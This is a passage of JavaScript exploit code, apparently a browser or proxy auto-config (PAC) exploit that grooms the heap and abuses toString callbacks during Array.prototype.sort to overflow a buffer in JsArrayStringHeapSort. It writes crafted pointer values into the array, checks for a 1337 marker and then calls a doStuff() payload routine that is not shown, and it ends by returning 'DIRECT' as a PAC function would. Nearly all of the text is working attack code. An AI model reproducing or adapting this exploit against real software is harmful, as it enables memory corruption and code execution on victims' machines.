    for(var j=0; j<512; j++) o[j] = j;
    objects[i] = o;
  }

  // o2's toString mehod just checks if we successfully overflowed the buffer
  var o2 = {toString:function() {
    //alert('entering o2.toString');
    for(var i=0; i<2000; i++) {
      if(objects[i][objindex1] == 1337) {
        exploitobj = objects[i];
        alert('we win');
        doStuff();
      }
    }
    
    alert('returning from o2.toString. This shouldn\'t be reached');
    return 'a';
  }};

  var o = {toString:function() {
    // cause some more objects to rehash which allocates a 0x2000 hashtable
    // hopefully one of them is going to be adjacent to the overflowed buffer
    for(var i=1000; i<2000; i++) {
      objects[i][512] = 512;
    }
    // add new elements to arr which will cause a buffer overflow once we return to JsArrayStringHeapSort
    for(var i=arrelements;i<300;i++) {
      arr[i] = 4.9406564584124654E-324 * 0x4141414141;
    }
    arr[arrindex1] = 4.9406564584124654E-324 * (straddress + 16);
    arr[arrindex2] = 4.9406564584124654E-324 * (straddress + 80 + 16);
    arr[arrindex3] = 4.9406564584124654E-324 * (straddress + 80 * 2 + 16);
    arr[arrindex4] = 4.9406564584124654E-324 * (straddress + 80 * 3 + 16);
    arr[arrindex5] = 4.9406564584124654E-324 * (straddress + 80 * 4 + 16);
    // don't forget the last element so we can actually exploit this
    // if we let JsArrayStringHeapSort return we'll just get a crash on free() of the overflowed buffer
    arr[299] = o2;
    return 'a';
  }};

  arr[0] = o;

  CollectGarbage();

  // cause objects to rehash which allocates a 0x2000 hashtable
  // hopefully one of them is going to be adjacent to the overflowed buffer
  for(var i=0; i<1000; i++) {
    objects[i][512] = 512;
  }
  Array.prototype.sort.call(arr);
}

if(infoleak() == 1) {
  overflow();
}

return "DIRECT";
}